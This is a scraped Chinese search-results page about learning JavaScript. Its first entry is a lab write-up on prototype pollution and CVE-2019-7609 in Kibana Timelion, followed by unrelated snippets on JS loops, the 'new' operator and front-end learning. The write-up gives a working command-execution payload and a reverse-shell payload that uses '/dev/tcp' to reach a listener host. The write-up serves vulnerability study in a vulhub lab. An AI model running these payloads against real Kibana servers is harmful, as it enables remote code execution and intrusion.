精华内容
下载资源
问答
  • 否则只是陷入一种机械的重复:一个payload过去,shell反弹回来了,啥东西也没学到,这样下去就越来越枯燥了啊。(对,没错,就是枯燥)。说回正题,js原型链网上分析文章其实多,有幸看了几篇还不错文章,总结在此...

    前言

    最近在研究vulhub上的漏洞,见识并复现了大量的CVE漏洞以及各种经典漏洞。其实漏洞复现不是关键,学习漏洞背后的触发原理,知其然知其所以然才是精髓所在,也是乐趣所在。否则只是陷入一种机械的重复:一个payload过去,shell反弹回来了,啥东西也没学到,这样下去就越来越枯燥了啊。(对,没错,就是枯燥)。说回正题,js原型链网上分析文章其实不多,有幸看了几篇还不错文章,总结在此。最后分析下CVE-2019-7609的原理。

    原型,原型对象,原型链

    原型(英文叫prototype)

    是JavaScript中类(构造器)实现继承的基础。所有引用类型(函数,数组,对象)都可以通过访问其__proto__属性得到原型。而函数也可以通过prototype来访问其原型。也就是函数类型可通过两种方式来访问其原型。

    对象的最终原型是object的原型null

    原型对象

    在JavaScript中,声明一个函数A的同时,浏览器在内存中创建一个对象B,然后A函数默认有一个属性prototype指向了这个对象B,这个B就是函数A的原型对象,简称为函数的原型。这个对象B默认会有个属性constructor指向了这个函数A。

    原型链

    理解原型链则可以通过一个例子:

    function Student(name, grade) {
      this.name = name;
      this.grade = grade;
    }
    
    const stu = new Student("test",100);
    console.log(stu.name);
    console.log(stu.grade);
    console.log(stu.noexist);
    

    内部原理如下

    1. 先看stu上是否存在noexist,不存在,所以看stu.__proto__
    2. stu.__proto__上也不存在noexist属性,再看stu.__proto__.__proto__,其实就是纯对象的原型:Object.prototype
    3. 纯对象的原型上也不存在noexist属性,再往上,到stu.__proto__.__proto__.__proto__上去找,其实就是null,null不存在noexist属性,返回undefined;
      这就是原型链的机制。也就是原型构成的链,当访问一个对象属性时会查找本身是否存在该属性,否则递归查找原型是否存在该属性,存在则返回;遇到原型为null,还未找到则返回undefined

    如果我们添加一些代码

    function Student(name, grade) {
      this.name = name;
      this.grade = grade;
    }
    
    const stu = new Student("test",100);
    stu2 = new Student();
    stu2.__proto__.noexist = true;
    console.log(stu.name);
    console.log(stu.grade);
    console.log(stu.noexist);
    

    可以看到我们通过修改一个对象的原型属性可以影响到另一个对象的属性,这就是原型链污染。这在其他的语言中是无法想象的。就像是在类实例化多个对象后,每个对象能够修改类的属性,进而影响到全部同类实例化出的对象。这其实是一件恐怖的事情。

    比如如果存在一处权限校验

    if(user.isAuth){
      // do some thing...
    }
    else{
      return
    }
    

    此时如果我们能够控制某个对象的"键名",那么我们将其__proto__属性设置为{"isAuth":true},此时就造成了原型链污染,任意用户都可绕过权限校验。

    原型链污染常存在于:

    • 对象merge
    • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)

    CVE-2019-7609

    Kibana 为 Elassticsearch 设计的一款开源的视图工具。其5.6.15到6.6.1之间的版本中存在一处原型链污染漏洞,利用这个漏洞我们可以在目标服务器上执行任意JavaScript代码。

    复现

    使用vulhub复现该漏洞时,环境启动后主页显示Kibana server is not ready yet,应该是KB、ES版本不一致,在docker-compose.yml修改为

    version: '2'
    services:
     kibana:
       image: vulhub/kibana:6.5.4
       depends_on:
        - elasticsearch
       ports:
        - "8601:5601"
     elasticsearch:
       image: elasticsearch:6.5.4
    

    即可启动成功。

    漏洞存在于Timelion页面
    payload如下:

    .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("/bin/touch /tmp/success");process.exit()//')
    .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
    

    点击执行后访问Canvas页面

    命令执行成功

    分析

    .props函数不仅可以将字符设置为属性,还能将一个对象设置问属性,因此,我们可以设置为:

    .es.props(label.__proto__.x='ABC')
    

    通过原型链污染为label的原型添加了x属性。这样我们就可以进行原型链污染攻击了。而当来到Canvas页面是node会开启一个新的进程,并且会调用normalizeSpawnArguments函数。在这段代码中

      var env = options.env || process.env;
      var envPairs = [];
    
      for (var key in env) {
        const value = env[key];
        if (value !== undefined) {
          envPairs.push(`${key}=${value}`);
        }
      }
    

    options.env没有被设置,因此可进行原型链污染。代码功能为将环境变量进行传递从而为新的进程的开启做准备。传递的转换形式为{"a":1} => a=1。因此可以尝试劫持node的环境变量进行任意代码执行。

    node可以使用--eval执行任意代码

    但无法通过环境变量传递

    还有一种方式就是--require参数,在node执行前包含任意代码

    test.js的内容为console.log("require test...")。并且该方法可使用环境变量进行传递。

    ok,可以劫持环境变量了但怎么在目标创造test.js文件呢?首先想到上传文件,但可能不太现实。还有其他的方法吗?我们知道在linux环境中/proc/self/environ保存着当前进程的环境变量

    在刚才我们已经通过原型链污染控制了环境变量,所以我们只要这只环境变量为AAA=console.log(123)//,环境变量就变成了一段正常的js代码

    最后是反弹shell的payload:

    .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
    .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
    

    值得注意的是如果一个程序存在原型链污染,并且尝试开启一个新的进程,都可以使用这种方法进行攻击。

    参考

    展开全文
  • var num=0; outermost: for ( var i=0; i; i++) { for ( var j =0;... 一直下去 直到i=5 那时J也就取5了,则满足 执行break, 退出循环 输出 num=5, 求大神们 解答 下小弟 ,我理解 错在哪里 呀 谢谢
  • dom操作再次懵逼,我知道我坚持到后面我还能学到什么内容,但是我想继续学下去 我喜欢敲代码。 也许现在努力还不晚,以后每天都要学的多一点。来祢补我上课睡觉耽误的时间 错过的内容[关于睡觉这个陋习,我想是...

    留级的我又学到了js这里

    上回就是到js的dom操作懵逼了,这回又是。

    一切的原因都是我的懒惰。

    我的懒惰使我没有他人付出的时间多,

    dom操作再次懵逼,我不知道我坚持到后面我还能学到什么内容,但是我想继续学下去 我喜欢敲代码。

    也许现在努力还不晚,以后每天都要学的多一点。来祢补我上课睡觉耽误的时间 错过的内容[关于睡觉这个陋习,我想是上学的时候养成的,在部队因为睡觉被打了无数次,也没有改过来这个臭毛病。我想改这个问题挺难的。我是去改过的 ,]

    加油! 。sh 




    现在还是渣渣的你

    展开全文
  • Js new 做了什么?

    2018-11-25 15:10:19
    做了2年前端,底子虚浮,无根之浮萍。2年时间里写的代码不知道多少行了。越写越觉的对前端理解不够。又找不什么切入方向。css、js不断更新。...万万是读不下去的。 class person { constructor(na...

    做了2年前端,底子虚浮,无根之浮萍。2年时间里写的代码不知道多少行了。越写越觉的对前端理解不够。又找不到什么切入方向。css、js不断更新。2只鞋子都没穿好。在前端路上也能走,走了2年了,混到写不动也没关系。但是还是想穿好鞋子后在前端路上npm run。。。。
    怎么学呢。由点到面吧。英文看不懂。书拿到手里就困。万万是读不下去的。

    class person {
        constructor(name, age) {
            this.sex = 'man',
            this.name= name;
            this.age = age;
            this.say = function() {
                console.log(`i am ${this.name}, i ${this.age}`)
            }
        }
    }
    var obj = new person('bird', 16);
    
    console.log(obj)
    

    在这里插入图片描述

    // new 的作用

    // 1 创建一个空对象

    // 2 将构造函数的作用域赋予给新对象 (因此this的指向就指向了新对象)

    // 3 执行构造函数中的代码(为这个对象添加属性)

    // 4 返回新对象

    class person {
        constructor(name, age) {
            this.sex = 'man',
            this.name= name;
            this.age = age;
            this.say = function() {
                console.log(`i am ${this.name}, i ${this.age}`)
            }
        }
    }
    
    
    
    var newObj = {}
    console.log(1)
    console.log(newObj)
    
    newObj.__proto__ = person.prototype
    
    console.log(2)
    console.log(newObj)
    newObj.name = 'bird'
    console.log(newObj)
    console.log(newObj.name)
    console.log(newObj.sex)
    
    person.call(newObj)
    console.log(3)
    
    console.log(newObj)
    

    在这里插入图片描述

    引出的问题
    1, class 的继承 运用
    2,prototype proto 之间的关系
    3,call(),bind(),apply()

    展开全文
  • 摘要: 在知乎上看到一个问题,问题如下: 大二,前端大半年了,html,css,js,jq,less,bootstrap这些敢说精通,但...了这个阶段应该怎么继续学下去呢,是我基础知识不足的问题吗? 针对这个问题,我讲讲我...

    摘要: 在知乎上看到一个问题,问题如下: 大二,学前端大半年了,html,css,js,jq,less,bootstrap这些不敢说精通,但也熟练掌握,项目也做了不少。最近学react的时候开始感觉力不从心了,之后再去了解webpack,npm,node等简直一脸懵逼,各种配置命令行根本看不懂,仿佛到了另一个世界。到了这个阶段应该怎么继续学下去呢,是我基础知识不足的问题吗? 针对这个问题,我讲讲我的理解吧

    这种先易后难的学习现象其实不仅仅是在前端领域,在任何一个领域都是一样的。入门简单,随着学习的不断深入,需要学习的东西越来越多,越来越复杂,这是十分正常的。

    你回想下你刚开始学数学的时候,是不是觉得很简单呢,1+1,1-1。之后慢慢开始学乘法,学方程式,学积分,是否感觉越来越难,步履维艰。

    回到题主问的问题。web前端其实在编程界是最容易入门的分支,其中html,css,js,jq,less,bootstrap这些你都可以理解成数学中最简单的 加减乘除法,所以当你稍微花点心思学习下html,css,js,你就发现你能开始写页面了,做简单的项目了。然后如果只是局限在做页面,不管做再多项目,你也只是一个页面仔而已,技术水平不会有所提升。这时你突然去接触react,webpack,npm这些高级的前端框架和工具的时候,就如同从 1+1跳跃到解微积分,当然会懵逼,觉得这还是前端嘛,我以前学的都是啥啊。

    所以首先排除学习者自身的学习态度问题,我们假设大家都是努力学习的人,题主说的问题其实是在前端领域的一个学习顺序的问题。

    一个简单的前端项目从开发到上线我认为是要经历以下几个步骤的:

    1. 用html实现页面结构
    
    2. css实现页面样式
    
    3. js实现页面交互
    
    4. 使用压缩混淆工具如 grunt或者gulp 处理css和js,减小css文件和js文件的体积,从这个步骤开始其实就是前端项目的构建了,也就是进入到了题主所说的另一个世界
    
    5. 部署项目

    如果你一直局限在前三个步骤,那么当然不会有什么进步。 从第4个步骤开始就是真正需要去花大量时间研究学习的了。首先拿构建工具grunt或者gulp举例,如果说你对js十分熟练的话,那么grunt或者gulp里面的每一行代码你是能看的懂得,你需要学习的是

    1. 这些工具为什么会出现,他在整个前端开发和构建上线过程扮演者什么样的角色
    
    2. 他能实现哪些东西,每一项功能的具体代码实现是怎么样的
    
    3. 为什么要这么来实现

    按着这么个研究学习顺序,你会发现这些东西都是通过很简单的无数的接口拼装而成的。研究完一个工具,接着按照整个项目的工程顺序,研究接下来需要哪些东西。这样的话学习webpack,react等都和上文说到grunt没有任何差别,自己也能循序渐进。

    所以希望迷惘的人不要过于焦虑,认清学习路径,按部就班就行了。

    本文希望能给入门或迷茫的同学一些建议,合不合适自己才是最明白的,欢迎留言。另外新手学习前端开发除了要多动手敲代码最重要的还是经验的交流欢迎有需要的的小伙伴进前端开发交流群624293552来一起交流问题学习经验,我把所有比较适合新手学习的教程资料都放到里了。

    展开全文
  • 今天你的朋友圈有没有刷这篇文章?(如果没有,说明你还年轻。)《2020,这半年,都很难……》,这篇公众号文章成了「三个10w+」的超级爆款,可能是公众号恢复点赞后首个达到如此成绩的。这篇文章篇幅长,却具备了...
  • 我曾经在找不到职场努力方向的阶段花了大半年的时间学习了前端编程。系统性地把HTML/CSS/JS学了一通然后进阶MEAN Stack(MongoDB+Express.js+AngularJS框架+Node.js)。加上一些API差不多可以做出一个看上去像是真实...
  • 本周总共有 37 人贡献了他们所学到的知识,选取了一部分不错的分享并整合成文,更详细的内容推荐前往仓库阅读。 <h2>TS 中使用 <code>typeof</code> 关键字可以自动获取数据类型 在写 React 项目时ÿ...
  • 前端学习心得

    2018-04-22 18:40:33
    现在又开始学习数据库了,转眼数据库也学了一周了,突然发现自己好像没有学到什么。但是这并不会动摇我继续学习下去的决心。有人说,正确的方向胜过无谓的努力,我觉得这句话说得很对。很多时候,成功除了勇气、...
  • Node.js 实战

    2017-08-12 10:48:39
    本书是我看过的最贴近实战开发的Node.js书籍之一,虽然它由4位作者合力完成,写作风格难免有所不同,但是通读本书后,4位作者带来的精彩章节却让我大呼过瘾,有继续阅读下去的强烈欲望。感谢4位作者为我们这些Node....
  • HTML基础学习

    2020-09-25 02:49:01
    好的富文本编辑器支持html代码 看来md暂时是没法用了 等学到js之后再用md来写作吧 1. 无序列表 无序列表是一个项目的列表,此列项目使用粗体原点进行标记 <ul> <li>Coffee</li> <li>...
  • 从前年开始我就一直想进军H5游戏的领域,但是当时知识尚欠,连CANVAS这个标签都学不下去,后来我接触了three.js和pixi.js,一个是3D的,基于WebGL,一个是2D的,都很厉害,但最后都因为各种原因没有学下去。...
  • 在这样的大浪潮下,我也开始进入vue的学习行列中,在网上也搜了很多教程,按着教程来做,也总会出现这样那样的问题(坑啊,由于网上那些教程都是Vue.js 1.x版本的,现在用Vue.js 的构建工具都已经升级2.0版本了)...
  • 看了一堆js的基础,对于基本类型和引用类型算是稍稍了解,但一众多专业名词面前,还是太浮躁了,看不下去。。。真心觉得自己基础太差,有点怕跟以前一样坚持不了几天,不说了,行动说明一切,以此博来见证学习之路...
  • 从初中开始 接触Javascript 做一些Mod 插件什么的 Minecraft PE 我的世界手机版的插件期初的时候觉得很好玩 可了一定时间 我却想继续学习下去了java script 的基础语法干了什么 其实直到后来 我才知道 js是...
  • 一开始想学学PHP,但实在不喜欢PHP的语法,所只用PHP写了两个简单的Demo之后就写不下去了。了解最近Node.js有点热,前景也不错,而且JavaScript平时也都在用,所以决定学习下Node.js。  ...
  • node.js站点备份

    2013-01-10 11:12:38
    在用node.js创建站点时可避免的要用到第3方模块,由于安装模块时都采用npm install modulename的方式,刚的时候很迷茫,如果站点要搬家、备份,那怎么办,可能再重新安装一遍这些模块,后来明白了,npm ...
  • threeJS后处理-星空

    千次阅读 2018-12-19 20:39:47
    需要电子档书籍或者源码可以Q群:828202939 希望可以和大家一起学习、一起进步!! 如有错别字或有理解到位的地方,可以...代码比较乱,最近项目多,就没继续写下去了! 如果各位同学感兴趣的话,有拿源码...
  • 今天是继2014年2月份来第一次早起了,坚持下去; jquery 学习 三(2) 参考资料:李炎恢老师的视频 、 w3cschool 、锋利的jquery、  重点内容:进阶选择器    首先把上节课的内容复制一份,新的文件夹“3...
  • 现在工作已经一年半的时间了,可是现在的我很迷茫,迷茫自身技术的提高,知道自己该的东西很多,确知道该从那里下手,今天jsf,明天学js,后天又看数据结构,还有设计模式,各种j2ee的框架...... 无从适从. 但是...
  • 初学Vue.js(2.x版本)

    2017-08-16 10:15:00
    嗯,找来找去找到了偶能理解的方式了(带着问题起来轻松些,要不然会被脑子的各种疑问烦啥都干了)。每个人接收信息以及处理信息的方式都不同吧,找到适合自己的就行。好了,废话了,进入正文: new .....
  •  上次最后之所以铩羽而归,是因为从CSS里找不到那些#和.对应的东西控制的都是啥子,这回在看那个CSS了,直接用浏览器的开发者模式打开博客,一级一级找下去,看控制要改的内容的都是哪个DIV,把那些呆滞傻二的...
  • 一直想找到一个合适的构架来开发WebGIS,以前一直用的是Web ADF...以前我用的是Web ADF开发,基本不自己写JS代码,然后,走一定时候,完全走不下去了,感觉用此架构,完全是把客户端要处理的东西全部放用服务器端...
  • 今天竟然花了一整天做表单验证,真是很搞笑,我一时想自己写表单的js验证,可写了一长段后又懒得写下去了. 然后我又想用jquery 里的validate插件,但是样式和特效又和我的代码有冲突. 就这样反反复复折腾来折腾去,最后累...
  • 首先感谢各位能阅读.我是08年毕业的,在黑龙江哈尔滨一个不起眼的学校....当时的情况是,我只会一点DOTNET,工作找不到,所以现在在家自学.目前能够掌握基础的一些控件使用,ADO的使用,以及3层架构.现在在学习css,js,...
  • 寒假第五周总结

    2021-02-20 20:01:59
    我们还有最后一周的时间就要返校了,JS的学习应该只有这个时间段了,所以要认真才行了,还有就是蓝桥杯,算法等等,这些应该也要加紧训练了,说能达到什么样的效果,至少能后悔吧,我会坚持下去
  • 自学以来快一个月了,学到了css了马上快到js了 。感觉自己学的东西有些零散,学到出来的感觉;自己也一直很是惆怅,从今天开始把自己的所学所想一点一滴的记录在这里。这是一个新的开始,希望自己可以在这条自己...

空空如也

空空如也

1 2 3 4 5
收藏数 83
精华内容 33
关键字:

学到js学不下去了